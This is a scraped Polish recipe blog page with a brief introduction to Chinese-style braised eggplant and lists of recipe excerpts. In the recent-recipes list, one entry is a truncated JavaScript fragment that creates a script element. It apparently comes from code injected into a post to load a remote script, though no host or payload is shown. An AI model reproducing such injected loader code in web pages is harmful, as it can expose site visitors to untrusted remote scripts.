Braised Eggplant

Zapraszam Psianka podluzna (Solanum melongena) to prawidlowa nazwa botaniczna gatunku roslin z rodziny psiankowatych. Roslina ta jednak znana jest glownie pod zwyczajowymi nazwami jako oberzyna lub baklazan, ale ma takze inne nazwy: gruszka milosna, jajko krzewiaste i bakman. Pochodzi z tropikalnej Afryki, Egiptu, Arabii i Indii. Dzis jednak bedzie baklazan w wersji Chinskiej. *
Najnowsze przepisy
Uwielbiam kuchnię pełną wyrazistych smaków i aromatów,... ⇖ 8
Jesień zagościła na dobre, to i w kuchni również jest... ⇖ 10
(function(){ u938=document.createElement("script");u938.type ⇖ 5
Idealne, słodko winne polędwiczki w sosie śliwkowym,... ⇖ 19
Dawno mnie nie było, wracam zatem z pysznym i prostym... ⇖ 23
Surówka po kreolsku to idealny sposób, by w kilka minut... ⇖ 7
Pistacjowe andruty to wyjątkowy przepis na bardzo prosty... ⇖ 6
Surówka z marchewki Szukasz szybkiej i zdrowej surówki,... ⇖ 7
Wielokrotnie wspominałam przy przepisach z dynią, że nie... ⇖ 5
21.10.2025 Magda W tym roku grzybów mam pod dostatkiem... ⇖ 6
Dzień dobry. Dzisiaj na salony wjeżdża obłędny w smaku... ⇖ 19
Przepisy z bloga
Zapraszam Sernik na zimno z wloskiej ricotty. Deser, ktoz... ⇖ 1052
Zapraszam Kanapka z grzybami, orzeszkami piniowymi,... ⇖ 958
Zapraszam Gulasz z kiszonej kapusty. Przeszukujac internet,... ⇖ 899
Zapraszam Massimo Bottura na dwulecie bloga. Co wspolnego... ⇖ 1075
Zapraszam Zapiekany baklazana w sosie pomidorowym z... ⇖ 883
Zapraszam Wedzony czosnek sloniowy. Czym jest? Mogloby sie... ⇖ 893
Przepisy na czasie
Murzynek to takie ciasto, które piekło się u mnie w domu... ⇖ 829
Sezon na grzyby jest w pełni, w tym roku jest istne,... ⇖ 355
Sernik bez sera to taki wypiek, który potrafi naprawdę... ⇖ 325
Przysmak Sułtana to jedno z tych ciast, które wygląda... ⇖ 320
Sernik to jedno z tych ciast, które nigdy się nie nudzą... ⇖ 262